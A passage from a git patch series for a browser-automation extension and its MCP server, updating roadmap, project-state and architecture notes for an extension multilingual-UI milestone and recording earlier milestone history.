verifier and validation gate. -- [x] 49-03: Live-UAT template and closeout decision. - -### Phase 50: T1 Expansion Gate + Next-Batch Plan -**Goal:** Close the milestone with an honest T1 coverage gate, full regression suite, and a prioritized backlog for the remaining 2,288-descendant tail. -**Requirements:** T1R-12. -**Plans:** -- [x] 50-01: Regenerate readiness evidence and closeout counts. -- [x] 50-02: Full regression gate. -- [x] 50-03: Next-batch backlog and milestone closeout. - -### Phase 51: Full T1 Tail Migration Across Remaining Catalog -**Goal:** Convert the Phase 51 catalog-tail descriptors to explicit terminal states: executable T1/T1b where safe and technically provable, guarded fail-closed where write/destructive UAT is still required, or blocked where denylist/product/legal policy says no. -**Requirements:** T1ALL-01, T1ALL-02, T1ALL-03, T1ALL-04, T1ALL-05. -**Plans:** -- [x] 51-01: Full-tail worklist generator, acceptance gate, and batch scheduler. -- [x] 51-02: Existing-head and low-risk same-origin read bulk port. -- [x] 51-03: Retool CSRF same-origin read head. -- [x] 51-04: Asana same-origin Pattern-D carveout. -- [x] 51-05: Pattern-D and GAPI bridge implementation waves. -- [x] 51-06: Sensitive consumer/social and blocked-policy triage. -- [x] 51-07: Write/destructive live-UAT activation waves. -- [x] 51-08: Final all-tail regression, UAT ledger, and closeout. - -Archive files: - -- `.planning/milestones/v1.1.0-ROADMAP.md` -- `.planning/milestones/v1.1.0-REQUIREMENTS.md` -- `.planning/milestones/v1.1.0-MILESTONE-AUDIT.md` - -Outcome: v1.1.0 expanded proven direct execution from the v1.0.0 baseline into verified T1-ready read coverage across Netlify, Bitbucket, CircleCI, Vercel, Retool, Asana, and generated same-origin reads, with post-closeout ports reflected in the refreshed artifacts. Phase 51 closes the remaining catalog tail honestly: 1,267 rows are executable T1-ready, 556 rows are guarded fail-closed, and the remaining 491 descriptors are explicitly surfaced as bridge-needed, UAT-needed, blocked-policy, or degraded/discovery-pending rather than overclaimed. - -
- -
-v1.0.0 Full App Catalog (OpenTabs Parity) — Phases 35-43, SHIPPED 2026-06-29 - -Archive files: - -- `.planning/milestones/v1.0.0-ROADMAP.md` -- `.planning/milestones/v1.0.0-REQUIREMENTS.md` -- `.planning/milestones/v1.0.0-MILESTONE-AUDIT.md` -- `.planning/milestones/v1.0.0-phases/` - -Outcome: full OpenTabs-derived catalog/search/discovery surface shipped with 2,314 descriptors across 128 app stems / 129 services. The milestone deliberately fed the existing tier model rather than hand-porting every action: 26 descriptors resolve to T1/T1b today, 5 guarded writes remain fail-closed, and 2,288 descriptors remain T3 DOM/discovery-tail. Full milestone audit passed; non-blocking live UAT and T1 expansion debt are carried forward. - -
- -
-v0.9.99 Native Capability Catalog (FSB API Execution) — Phases 26-34, CODE-COMPLETE 2026-06-23 - -Gave FSB first-class authenticated-API execution as a fast path alongside DOM automation, between Wall 1 (closed-vocabulary recipe DATA bound by a fixed interpreter) and Wall 2 (MAIN-world authenticated fetch). Full `npm test` EXIT 0; live-browser UAT debt (UAT-27/29/30/31/32-01) carried forward. The v1.0.0 milestone extends this substrate verbatim. - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 26 | Recipe Schema + Bundled Interpreter + MV3 CI Guard | 3/3 | Complete | -| 27 | Authenticated Fetch Primitive (MAIN-world) + Origin-Pin + Resume-Sidecar | 3/3 | Complete; live FETCH-05 UAT human_needed | -| 28 | Lean MCP Surface + Capability Search + Eval Harness | 4/4 | Complete | -| 29 | Catalog + Tiered Router + Bundled Head + Declarative Tail + Autopilot Parity | 5/5 | Complete; live-capture UAT human_needed | -| 30 | Consent Governance + Recipe Signature Verification + Audit + Legal Posture | 4/4 | Complete; live smoke human_needed | -| 31 | Network-Capture Discovery + Recipe Synthesis + Learned Recipes | 6/6 | Complete; live UAT human_needed | -| 32 | Self-Healing Fallback + Recipe-Rot + Re-Learn + Provider/Schema-Lock Tests + UAT | 5/5 | Complete; live self-heal UAT human_needed | -| 33 | PhantomStream Media Mirroring (0.2.1 Uptake) — milestone extension | 1/1 | Complete; live media UAT human_needed | -| 34 | Explicit File Upload Tool (upload_file) — milestone extension | 1/1 | Complete; live upload UAT human_needed | - -Substrate carried into v1.0.0 (FIXED — do not redesign): tiers T0/T1a/T1b/T2-learned/T3-DOM; the closed-vocab interpreter; the consent gate (opt-out Auto default, denylist = the ONE hard floor); the 2 out-of-`TOOL_REGISTRY` MCP tools; `capability-catalog.js resolve()` / `capability-router.js invoke()` / `capability-search.js buildIndex()`; `scripts/package-extension.mjs readJsonDir` + the generated `recipe-index.generated.js` IIFE; the `github.js` T1a hand-port contract; `service-denylist.js` loader; `network-capture.js` discovery path; `verify-recipe-path-guard.mjs` Wall-1 guard. - -
- -
-v0.12.0 PhantomStream Package Migration — Phases 21-25, COMPLETED 2026-06-17 - -Archive files: - -- `.planning/milestones/v0.12.0-ROADMAP.md` -- `.planning/milestones/v0.12.0-REQUIREMENTS.md` -- `.planning/milestones/v0.12.0-MILESTONE-AUDIT.md` -- `.planning/milestones/v0.12.0-phases/` - -Phase summary: - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 21 | Package Intake & Contract Mapping | 3/3 | Complete | -| 22 | Capture Adapter Migration | 4/4 | Complete | -| 23 | Dashboard Renderer Migration | 4/4 | Complete | -| 24 | Transport, Relay & Remote Control Integration | 4/4 | Complete | -| 25 | Parity Removal, Docs & Browser UAT | 4/4 | Complete; human UAT debt recorded | - -Known deferred closeout evidence: live Chrome-extension dashboard preview and remote-control UAT remains `human_needed`; see `.planning/milestones/v0.12.0-phases/25-parity-removal-docs-browser-uat/25-HUMAN-UAT.md`. - -
- -
-v0.11.0 Trigger Tool (Reactive DOM Monitoring) — Phases 14-20, COMPLETED 2026-06-17 - -Phase summary: - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 14 | Trigger Survivability Foundation | 3/3 | Complete | -| 15 | Fire-Condition Engine & Value Extraction | 3/3 | Complete | -| 16 | Live-Observe Watch & Analyzing Pulse | 4/4 | Complete | -| 17 | Refresh-Poll Watch (Tab-Owning Background Reload) | 4/4 | Complete | -| 18 | Shared Tool Registry & Dispatcher Wiring | 4/4 | Complete | -| 19 | MCP Tools & Blocking/Detached Reporting | 3/3 | Complete | -| 20 | Integration, Cap UI, Docs & Edge Cases | 5/5 | Complete; human UAT debt recorded | - -Known deferred closeout evidence: live-browser/composed trigger UAT remains `human_needed`; publish/tag/release actions remain user-gated. - -
- -
-v0.10.0 Autopilot via Lattice SDK (Phases 01-13) — SHIPPED 2026-06-15 - -Archive files: - -- `.planning/milestones/v0.10.0-ROADMAP.md` -- `.planning/milestones/v0.10.0-REQUIREMENTS.md` -- `.planning/milestones/v0.10.0-MILESTONE-AUDIT.md` -- `.planning/milestones/v0.10.0-phases/` - -Phase summary: - -| Phase | Name | Plans | Status | -|-------|------|-------|--------| -| 01 | Lattice SDK gap survey + integration scaffolding | 2/2 | Complete | -| 02 | Lattice tripwire + receipt primitives extension | 5/5 | Complete | -| 03 | Observability + step-markers extension | 3/3 | Complete | -| 04 | Provider adapter alignment | 5/5 | Complete | -| 05 | MV3-survivability adapter contract + bundler infra + hybrid offscreen Lattice host | 6/6 | Complete | -| 06 | FSB engine consumes Lattice provider abstraction | 7/7 | Complete | -| 07 | Archive FSB custom provider stack | 4/4 | Complete | -| 08 | FSB agent brain on Lattice runtime | 3/3 | Complete | -| 09 | FSB SurvivabilityAdapter activated for MV3 SW eviction resumption | 3/3 | Complete | -| 10 | MCP-philosophy parity for autopilot driver | 3/3 | Complete | -| 11 | Tab-aware side panel surface | 5/5 | Complete | -| 12 | Side panel follows automation | 5/5 | Complete | -| 13 | Public Lattice package integration | 1/1 | Complete | - -Known deferred closeout evidence: 11 human-gated Chrome MV3/UAT verification items were acknowledged at close. See `.planning/STATE.md` `## Deferred Items`. - -
- -## Carry-Forward Candidates - -- **v0.9.91 v2 deferred (see REQUIREMENTS.md):** CHAT-FUTURE-01/02 (chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` + per-thread cwd pinning); GEMINI-FUTURE-01 (Gemini CLI adapter after live `--help` capture + JSONL schema pinning); ACP-FUTURE-01 (`@zed-industries/agent-client-protocol` unification once ≥2 non-Claude adapters have shipped); REMOTE-FUTURE-01 (remote/mobile delegation surfaces — v0.9.91 is explicitly localhost-only). -- **Consolidated Chrome MV3 UAT debt:** Run and capture archived v0.10/v0.11/v0.12 + v0.9.99 (UAT-27/29/30/31/32-01) browser evidence if release policy requires post-close proof. Does NOT block v0.9.91. -- **v1.2.0 v2 deferred:** QA-01 (native-speaker/bilingual QA pass), I18N-FUTURE-01 (migrate stats page off ad hoc JSON mechanism into main XLIFF pipeline), I18N-FUTURE-02 (full automated per-locale visual regression pipeline), I18N-FUTURE-03 (translation-freshness/"last synced" reporting surface). -- **v2 deferred capability families (acknowledged, out of v1.0.0/v1.1.0):** GAPI-01 (gapi-bridge handler family for Google Workspace); CLOUD-01 (cloud-console Pattern-D ports); UATX-01 (per-app live guarded-write UAT closeout). -- **Delegation primitive (Lattice-owned):** Parked from v0.10.0; re-scope as either a Lattice-owned primitive or an FSB-only consumer of Lattice receipt + tripwire surfaces after v0.9.91 stabilizes the adapter contract. - -## Backlog - -### Phase 999.1: MCP tool gaps — click heuristics + 1. The control lists `English`, `Español`, `Deutsch`, `日本語`, `한국어`, `简体中文`, and `繁體中文`, and those seven strings are the same in every locale. + 2. Choosing `de` and reopening the side panel, popup, and control panel shows German chrome. The on-page overlay chrome is German too. Chrome does not need a restart. + 3. Clearing the choice makes the UI follow the browser UI language again. + 4. The name shown in `chrome://extensions` still follows the browser UI language, because manifest `__MSG_` strings cannot follow the override. +**Plans**: TBD +**UI hint**: yes -**Status:** Completed historical backlog work retained outside milestone archival. +## Coverage -- `999.1-01`: Route-aware MCP bridge dispatch + `execute_js` background handler. -- `999.1-02`: Text-based click targeting with TreeWalker visible-text matching. +- v1 requirements: 20 +- Mapped: 20 +- Unmapped: 0 -Artifacts remain in `.planning/phases/999.1-mcp-tool-gaps-click-heuristics/`. +--- +*Roadmap created: 2026-10-11* +*Execution has not started.* diff --git a/.planning/STATE.md b/.planning/STATE.md index e3a126cfb..58627f583 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -1,48 +1,46 @@ --- gsd_state_version: 1.0 -milestone: v0.9.91 -milestone_name: MCP Clients as Providers -status: human_needed -stopped_at: Phase 65 automated verification passed; human UAT65-01 through UAT65-03 pending -last_updated: "2026-07-22T18:45:13.807Z" -last_activity: 2026-07-22 +milestone: v1.3.0 +milestone_name: Extension multilingual UI +status: planning +last_updated: "2026-10-11T10:43:34.221Z" +last_activity: 2026-10-11 progress: - total_phases: 18 - completed_phases: 9 - total_plans: 61 - completed_plans: 63 - percent: 50 + total_phases: 6 + completed_phases: 0 + total_plans: 0 + completed_plans: 0 + percent: 0 --- -*Note: the `total_phases`/`completed_phases` counts above are scoped to the active v0.9.91 milestone (Phases 57-65) only. Some GSD tooling (`roadmap.analyze`, `phase.complete`) reports a noisy multi-phase count including collapsed `## Completed Milestones` archive entries and `## Backlog` sections — treat this file's own numbers as authoritative for v0.9.91 progress.* +*Note: progress counts in the frontmatter are for v1.3.0 only. v0.9.91 is paused, not shipped. Its snapshot is `.planning/milestones/v0.9.91-STATE.md`.* # Project State -> **Post-milestone supersession (2026-07-15):** This file preserves the -> completed v1.2.0 state. The later showcase localization follow-up localized -> the dashboard and removed its lint exclusion, so the dashboard hard invariant -> below is historical rather than current. See -> `showcase/angular/src/locale/I18N-BOUNDARIES.md` for current policy. +> **v1.3.0 supersession (2026-10-11):** The active milestone is Extension multilingual UI. v0.9.91 MCP Clients as Providers is paused with human UAT still pending. Do not mark that UAT passed, and do not continue Phase 65 from this file. Archived copies: `.planning/milestones/v0.9.91-ROADMAP.md`, `.planning/milestones/v0.9.91-REQUIREMENTS.md`, `.planning/milestones/v0.9.91-phases/`. ## Project Reference -See: .planning/PROJECT.md (v0.9.91 MCP Clients as Providers — Current Milestone section, Key context bullets) -See: .planning/ROADMAP.md (v0.9.91 active, Phases 57-65; v1.2.0 / v1.1.0 / v1.0.0 / v0.9.99 / etc. archived and collapsed) -See: .planning/REQUIREMENTS.md (51 v1 requirements across 10 categories: IDENT, PROV, CHAN, ADAPT, CLAUDE, UX, LIFE, DRIFT, NATIVE, MULTI — all mapped to Phases 57-65, 48/51 complete) -See: .planning/research/SUMMARY.md (converged research summary; suggested phase structure; HIGH confidence) -See: .planning/research/PITFALLS.md (16 pitfalls with phase assignments; security section verified against 2025-2026 CVE class incidents) -See: .planning/research/ARCHITECTURE.md (file:line integration seams; brownfield mapping onto existing FSB architecture) -See: .planning/milestones/v1.2.0-ROADMAP.md, .planning/milestones/v1.2.0-REQUIREMENTS.md, .planning/v1.2.0-MILESTONE-AUDIT.md (archived Showcase i18n Completeness milestone) +See: .planning/PROJECT.md (v1.3.0 Extension multilingual UI) +See: .planning/ROADMAP.md (v1.3.0, Phases 66-71) +See: .planning/REQUIREMENTS.md (LOC, WIRE, SHELL, SET, ENTRY, QUAL, LANG, COPY) +See: .planning/research/SUMMARY.md (extension i18n research, 2026-10-11) +See: showcase/angular/src/app/core/i18n/locale-constants.ts (the seven locale codes) +See: showcase/angular/src/locale/DO-NOT-TRANSLATE.md (protected literals) -**Core value:** Reliable single-attempt execution — the AI decides correctly, the mechanics execute precisely. v0.9.91 does not touch the DOM/automation single-attempt property; it extends the surface so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers that drive the same live browser through FSB's own MCP tools. -**Current focus:** Milestone-end human UAT sweep; Phase 65 automated verification is complete +**Core value:** Reliable single-attempt execution — the AI decides correctly, the mechanics execute precisely. v1.3.0 does not change automation or the MCP wire. It makes package-owned extension chrome render in the seven showcase locales. +**Current focus:** Requirements and roadmap written. Execution has not started. + +## Historical context (v0.9.91 and earlier) + +The sections below this banner are accumulated decisions from earlier milestones, including the paused v0.9.91 work. They are not the current task. The v0.9.91 project-reference notes that used to live here are in the archived state snapshot. ## Current Position -Phase: 65 (codex-adapter) — EXECUTING -Plan: 8 of 8 -Status: human_needed -Last activity: 2026-07-28 - Completed quick task 260728-k2v: animated toolbar action icon +Phase: 66 — Locale plumbing and CI gate (not started) +Plan: — +Status: Roadmap ready, execution not started +Last activity: 2026-10-11 — Milestone v1.3.0 roadmap written ## Roadmap At A Glance (v0.9.91, Phases 57-65) From a0919a080dcfca96e07fdb9487205666771c5dbc Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Sun, 11 Oct 2026 05:46:00 -0500 Subject: [PATCH 04/57] docs: research milestone v1.3.0 extension i18n --- .planning/research/ARCHITECTURE.md | 371 +++------------ .planning/research/FEATURES.md | 236 +++------- .planning/research/PITFALLS.md | 703 +++-------------------------- .planning/research/STACK.md | 268 ++--------- .planning/research/SUMMARY.md | 253 +++-------- 5 files changed, 259 insertions(+), 1572 deletions(-) diff --git a/.planning/research/ARCHITECTURE.md b/.planning/research/ARCHITECTURE.md index 5122a6598..177d1d4fa 100644 --- a/.planning/research/ARCHITECTURE.md +++ b/.planning/research/ARCHITECTURE.md @@ -1,341 +1,94 @@ -# Architecture Research: v0.9.91 MCP Clients as Providers +# Architecture Research -**Domain:** Chrome MV3 extension + local MCP server ecosystem — installed agent CLIs as first-class side-panel providers -**Milestone:** v0.9.91 — SUBSEQUENT milestone; maps four features onto the existing FSB architecture (extension SW + ws://7225 hub/relay bridge + fsb-mcp-server stdio/serve). Existing architecture is mapped, not redesigned. -**Researched:** 2026-07-10 -**Confidence:** HIGH (every integration point verified against source at file:line; SDK `getClientVersion` verified via Context7; spawned-CLI flag surface is MEDIUM-LOW — see Open Questions) +**Domain:** How extension i18n attaches to the existing MV3 classic-script tree +**Researched:** 2026-10-11 +**Confidence:** HIGH -> Canonical-path note: per this directory's convention (see the header of `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`), this document replaces the prior milestone's content at the canonical `ARCHITECTURE.md` path. The superseded v1.2.0 research is preserved at `ARCHITECTURE-v1.2.0-SHOWCASE-I18N.md`. +## Existing architecture -This is a brownfield integration map answering: (a) exact seams per feature, (b) new components, (c) data flows, (d) build order, (e) which process owns spawning, (f) delegation coexistence with the extension's own agent loop. +The extension is a Manifest V3 service worker (`extension/background.js`) that loads helpers with `importScripts` in a fixed order. Extension pages (`sidepanel.html`, `popup.html`, `control_panel.html`, `onboarding.html`, `unlock.html`, `microphone-permission.html`) are classic scripts, not modules. Content-script overlay chrome lives in `extension/content/visual-feedback.js` and writes its own DOM. ---- +The showcase locale system is a separate build. Angular compiles one prerendered site per locale. Express redirects `GET /` from the `fsb-locale` cookie and `Accept-Language`. None of that runs inside the extension. -## 1. Existing System Overview (verified) +## Recommended integration ``` -+------------------------------ Chrome (MV3) -------------------------------+ -| Side panel (ui/sidepanel.js) Control panel (ui/options.js + | -| startAutomation/stopAutomation control_panel.html "API Config") | -| runtime msgs :1506/:1558 modelProvider select :146/:157 | -| | | | -| v v | -| background.js service worker -- fsbHandleRuntimeMessage :7610 | -| handleStartAutomation :8912 --> agent-loop.js runAgentLoop :1180 | -| handleStopAutomation :9559 (BYOK via universal-provider.js) | -| fsbAgentRegistryInstance (utils/agent-registry.js, global export :1468) | -| ^ | -| | dispatchMcpMessageRoute / dispatchMcpToolRoute | -| ws/mcp-bridge-client.js <---- ws://localhost:7225 ----+ | -| (_connectionId minted at onopen :127; | | -| routes agent:register et al :391-415) | | -+--------------------------------------------------------+------------------+ - | - +--------------------- Node processes ------------+----------------+ - | WebSocketBridge (mcp/src/bridge.ts) | - | hub (port 7225 owner) <-- relay:hello -- relay clients | - | hub-exit promotion with jitter :756-783 | - | | - | fsb-mcp-server stdio (per MCP client; index.ts :243) | - | fsb-mcp-server serve (HTTP daemon; index.ts :266, http.ts) | - | each createRuntime(): McpServer + AgentScope (runtime.ts :31) | - | AgentScope.ensure -> agent:register payload {} (:59-62) | - +------------------------------------------------------------------+ - ^ - | MCP stdio / Streamable HTTP - External MCP clients (Claude Code, Cursor, Codex, ...) - installed via install.ts / platforms.ts PLATFORMS (:77) +extension/_locales/en/messages.json English source +extension/_locales/{es,de,ja,ko,zh_CN,zh_TW}/messages.json +extension/utils/ui-locale.js classic script, globalThis.fsbUiLocale + |-- resolveLocale(tag) public code + |-- t(key, substitutions) override catalog, else chrome.i18n, else English + |-- apply(root) [data-i18n] and [data-i18n-attr] +chrome.storage.local key: fsbUiLocale public code, or absent for browser default ``` -### Component Responsibilities (existing components this milestone touches) +`ui-locale.js` is the only place that maps `zh-CN` ↔ `zh_CN` and `zh-TW` ↔ `zh_TW`, and the only place that applies the alias rules from `accept-language.js`. -| Component | Responsibility | Evidence | -|-----------|----------------|----------| -| `extension/ui/onboarding.js` | Install-command copy UX; already knows the clicked client id | `INSTALL_CLIENTS` :35-45; fan-item click -> `copyCommand(client.cmd, client.id)` :522-525; `copyCommand()` :784-794 keeps `state.copied` in memory only (:67, :787) — **nothing is persisted today** | -| `extension/ui/control_panel.html` | "API Configuration" section to rename | `
` :144, `

API Configuration

` :146, `#modelProvider` select with 7 API providers :157-165, per-provider key groups (e.g. `#xaiApiKeyGroup` :196) | -| `extension/ui/options.js` | Provider select load/save + key-field visibility | default `modelProvider: 'xai'` :5; change listener :613-624; `updateApiKeyVisibility(provider)` :1301-1309; settings object built :1632; persisted flat to `chrome.storage.local` :1677 | -| `extension/ui/sidepanel.js` | Task entry; sends `startAutomation` with legacy agent identity | `ensureLegacySidepanelAgent()` :1503; `chrome.runtime.sendMessage({action:'startAutomation', task, tabId, agentId, ownershipToken})` :1506-1513; `stopAutomation()` :1545-1560 | -| `extension/background.js` | Session orchestration, kill switch, registry host | `fsbHandleRuntimeMessage` :7610; `handleStartAutomation` :8912; `startAutomationLoop` :11853; `handleStopAutomation` :9559 (storage-restore fallback; `fsbBroadcastAutomationLifecycle` on stop :9612) | -| `extension/utils/agent-registry.js` | Mints `agent_`, tab ownership, connection grace | `registerAgent()` :305 (AgentRecord `{agentId, createdAt, tabIds, ...}` :263, :333); `stampConnectionId()` :634 (the pattern to clone for clientInfo); staged releases keyed by connectionId :286; exported `global.FsbAgentRegistry` :1468 | -| `extension/ws/mcp-bridge-client.js` | Extension side of ws://7225; per-connect `connectionId`; routes server-to-extension requests | `_ws.onopen` mints `crypto.randomUUID()` :112-144 (:127); onclose stages release via `stageReleaseByConnectionId` :185-186; keepalive `mcp:ping` send :329-330, `mcp:pong` ignore :373; `_handleMessage` switch :364/:391 routes `agent:register`/`agent:release`/`agent:status` :395-397 | -| `extension/ws/mcp-tool-dispatcher.js` | Route handlers incl. agent identity | `handleAgentRegisterRoute` :1935-1994 — mints via registry, stamps `connectionId` :1965-1970, returns `{success, agentId, agentIdShort, ownershipTokens:{}, connectionId}` :1993; cap rejection `AGENT_CAP_REACHED` :1947-1954. **`clientInfo` appears nowhere in this payload today** | -| `extension/ai/engine-config.js` | Named execution modes | `EXECUTION_MODES` :63-108 — exactly four: `autopilot`, `mcp-manual`, `mcp-agent`, `dashboard-remote`; `loadSessionConfig(modeName)` :126 | -| `mcp/src/bridge.ts` | Hub/relay WS topology on 7225 | hub start :264-295; browser-origin gate :297-309 (`allowedBrowserOrigins ['chrome-extension://']` :90); relay handshake `relay:hello` :328-333, `relay:welcome` :453-462, `relay:state` broadcast :502-509; `_handleExtensionMessage` :515-572 (understands ONLY `mcp:ping`, `mcp:progress`, and id-matched responses — **extension-initiated requests have no protocol today**); hub-exit promotion :756-783; reject-message contract `BRIDGE_DISCONNECT_MESSAGES` :34-38 | -| `mcp/src/agent-scope.ts` | Per-process (stdio) / per-session (HTTP) agent identity | `ensure()` sends `{type:'agent:register', payload:{}}` :59-62 — **the empty payload is the clientInfo seam**; defensive optional-field consumption pattern :77-101 | -| `mcp/src/agent-bridge.ts` | Threads agentId/ownershipToken/connectionId into every tool payload | `sendAgentScopedBridgeMessage` :70-93 | -| `mcp/src/runtime.ts` | Assembles server+bridge+queue+AgentScope | `createRuntime()` :31-50; `agentScope: options.agentScope ?? new AgentScope()` :34 | -| `mcp/src/http.ts` | `serve` daemon; per-HTTP-session McpServer sharing ONE bridge/queue | initialize creates `createRuntime({bridge, queue})` :123-143 — each HTTP session gets its **own AgentScope + own McpServer** (so its own clientInfo), shared bridge | -| `mcp/src/index.ts` | CLI entry: stdio/serve/status/doctor/install | stdio :243-264; `serve` -> `runHttpMode` :381-383/:266-294; `doctor` -> `runDoctor` :388-389/:334-348; help claims "install (21 platforms)" :93 | -| `mcp/src/platforms.ts` | Client registry with per-OS config paths | `PLATFORMS` :77 (23 entries: 18 file-mode, 1 cli-mode `claude-code` :95-103 with `configPath: null`, 4 instructions-mode :314/:324/:334/:344); disk detection = `resolvePlatformTarget()` :437-490 via `existsSync` on config file :455-466 then parent dir :468-479 | -| `mcp/src/install.ts` | Writes client configs / prints commands | `getClaudeCodeInstallCommand()` :31-33 (`claude mcp add --scope user fsb -- npx -y fsb-mcp-server`) | -| `mcp/src/tools/autopilot.ts` | `run_task` -> `mcp:start-automation` with onProgress heartbeats | :33, :51, :124-131 | -| `mcp/src/types.ts` | Bridge wire vocabulary (INV-01 additive-only) | `MCPMessageType` :8-48 (server-to-extension requests + `agent:*`); `MCPResponse` union `mcp:result|mcp:progress|mcp:error` :51-55 | -| `mcp/src/diagnostics.ts` | doctor layer classification | `collectBridgeDiagnostics()` :422 (offline-UX handoff target) | +### Locale choice ---- +1. If `chrome.storage.local['fsbUiLocale']` is one of the seven public codes, use it. +2. Otherwise map `chrome.i18n.getUILanguage()` through the alias rules. +3. Unknown tags fall back to `en`. -## 2. Integration Seams Per Feature (question a) +Do not name the storage key `fsb-locale`. That name is the website cookie. -### Feature 1 — Agent identity capture +### Two delivery paths -| Seam | File:line | Change kind | -|------|-----------|-------------| -| Copy-click persistence | `extension/ui/onboarding.js:508-509` (base-command binds), `:522-525` (per-client fan binds), `:784-794` (`copyCommand` body) | MODIFY: add `persistCopyClick(clientId)` inside `copyCommand`; today `state.copied` is render-only | -| `initialize` clientInfo capture | `mcp/src/server.ts:9-21` (McpServer creation), `mcp/src/runtime.ts:31-50` | MODIFY: read `server.server.getClientVersion()` -> `Implementation {name, version}` after initialize. Verified via Context7: functional in SDK v1.x (repo pins `@modelcontextprotocol/sdk ^1.29.0`, `mcp/package.json:54`); deprecated only in the SDK v2 migration. Capture point: `oninitialized` hook or lazily inside `AgentScope.ensure` | -| Thread clientInfo through register | `mcp/src/agent-scope.ts:59-62` — `payload: {}` today | MODIFY: `payload: { clientInfo: {name, version} }` (additive; INV-01 safe). `AgentScope` needs a clientInfo supplier injected via `createRuntime` (runtime.ts:31) since it currently has no server handle | -| Extension-side stamping | `extension/ws/mcp-tool-dispatcher.js:1935-1994`; precedent: `connectionId` capture :1965-1970 | MODIFY: read `payload.clientInfo`, call new `reg.stampClientInfo(agentId, clientInfo)` | -| Registry record | `extension/utils/agent-registry.js:263` (AgentRecord shape), `:305` (registerAgent), `:634` (`stampConnectionId` — clone this) | MODIFY: `clientInfo` on AgentRecord + `stampClientInfo()`; surface in status/list snapshots | -| Installed-client disk detection | `mcp/src/platforms.ts:437-490` (`detected` flag) | REUSE server-side; NEW inventory push to extension (Section 3). Pitfall: `claude-code` is cli-mode with `configPath: null` (:95-103) so `resolvePlatformTarget` always reports `detected:false` for it — Claude Code detection must check the `claude` binary / `~/.claude.json` instead | -| Control-panel surfacing | `extension/ui/options.js` + `control_panel.html` | MODIFY: read new storage keys + new `getMcpClients` runtime message answered from the registry. Do NOT revive the commented background-agents `listAgents` surface (`options.js:5767`, `sidepanel.js:3651`) — that is the sunset v0.9.45rc1 path (INV-05) | +| Path | Used for | Follows the override? | +|------|----------|------------------------| +| `__MSG_key__` in `manifest.json` | `name`, `description` | No. Chrome resolves these from the browser UI language. | +| `t()` / `apply()` | Extension pages and overlay chrome | Yes. | -### Feature 2 — Providers panel +Manifest strings still need all seven catalogs, because Chrome uses them for the store listing and `chrome://extensions`. The language control must not promise to change that name at runtime. `chrome.action.setTitle` can follow the override for the toolbar tooltip, because the manifest has no `default_title` today. -| Seam | File:line | Change kind | -|------|-----------|-------------| -| Section rename | `extension/ui/control_panel.html:144-148` (`id="api-config"`, `

API Configuration

` :146) | MODIFY copy to "Providers"; keep element ids stable where tests pin them (source-pin tripwires — run suite from first commit) | -| Provider select | `control_panel.html:157-165` (`#modelProvider`: xai/gemini/openai/anthropic/openrouter/lmstudio/custom) | MODIFY: add agent-provider entries (e.g. grouped optgroups) + recommended badge | -| Kind-aware key visibility | `extension/ui/options.js:1301-1309` (`updateApiKeyVisibility`) + change listener :613-624 | MODIFY: `agent` kind hides ALL key groups, shows connected/installed status instead | -| Settings model | `options.js:5` (default), `:1632` (save object), `:1677` (`chrome.storage.local.set`), `:1337-1376` (load) | MODIFY: introduce `providerKind` (`api`\|`agent`) + `agentProviderId` alongside `modelProvider`; `modelProvider` keeps its 7 API values so `universal-provider.js` (provider switches :196/:550) never sees an agent value | -| Recommended defaulting | new `fsbAgentProviders` storage | NEW: precedence connected > installed > copy-clicked | +`__MSG_key__` inside HTML is the wrong tool for this milestone. Chrome substitutes it once from the browser locale, before the storage override is known. -### Feature 3 — Side-panel delegation (Claude Code MVP) +### Loading -| Seam | File:line | Change kind | -|------|-----------|-------------| -| Side panel send | `sidepanel.js:1506-1513` | MODIFY: when selected provider kind is `agent`, dispatch new `startDelegatedTask` runtime message instead of the BYOK path | -| Background coordinator | `background.js:7610` (router), alongside `handleStartAutomation` :8912 | NEW `handleStartDelegatedTask`: lightweight delegated session record (UI state only), forwards over the reverse channel | -| Extension reverse-request send | `mcp-bridge-client.js` — precedent: fire-and-forget `mcp:ping` :329-330; `_handleMessage` switch :364-415 | NEW: extension-initiated request/response (`ext:*` frames) with own pending-map + id namespace; today the client can only *respond* to server requests | -| Bridge protocol | `mcp/src/bridge.ts:515-572` (`_handleExtensionMessage` drops unknown frames), `:328-333` (`relay:hello`), `:441-489` (relay registration), `types.ts:8-55` | NEW additive frames: `ext:request`/`ext:response`/`ext:event` + supervisor capability advertisement on `relay:hello`/`relay:welcome`/`relay:state` (additive fields; INV-01) | -| Spawner | none today | NEW `mcp/src/spawn-supervisor.ts` (Section 3 + Section 5) | -| Spawned CLI re-entry | entire existing pipeline: child runs `fsb-mcp-server` stdio -> relay on 7225 -> `agent:register` (`agent-scope.ts:53`) -> own agentId + tab ownership -> tool dispatch | REUSE unchanged — the core reuse win of the milestone | -| Progress to side panel | bridge `mcp:progress` origin-routing precedent :541-551; extension-to-UI precedent `fsbBroadcastAutomationLifecycle` `background.js:2456` | NEW `ext:event` frames supervisor -> hub -> extension -> runtime message -> `sidepanel.js` renderer | -| Kill switch | `sidepanel.js:1545-1560` -> `background.js:9559`; grace release `mcp-bridge-client.js:185-186` + registry :286 | MODIFY stop path for delegated sessions: `ext:request delegate.cancel` (supervisor SIGTERMs child); child's WS close then reuses existing `stageReleaseByConnectionId` cleanup | -| Offline UX | `mcp/src/diagnostics.ts:422`, `index.ts:334-348` (doctor) | NEW side-panel state: no supervisor answers -> "agent offline — run `fsb-mcp-server serve` / `doctor`" (extension has no nativeMessaging; it cannot wake any process) | -| Execution mode | `extension/ai/engine-config.js:63-108` | MODIFY: fifth `EXECUTION_MODES` entry `delegated` | +- Service worker: `importScripts('utils/ui-locale.js')` after `install-identity.js`, before any helper that shows user-facing text. Do not reorder the existing chain except to insert this one script. +- Extension pages: a ` + diff --git a/extension/ui/popup.js b/extension/ui/popup.js index 98be3df8e..f24b88ad3 100644 --- a/extension/ui/popup.js +++ b/extension/ui/popup.js @@ -1216,3 +1216,8 @@ console.log(`FSB v${chrome.runtime.getManifest().version} chat interface loaded` // return schedule.type; // } // } + + +if (globalThis.fsbUiLocale && typeof fsbUiLocale.boot === 'function') { + 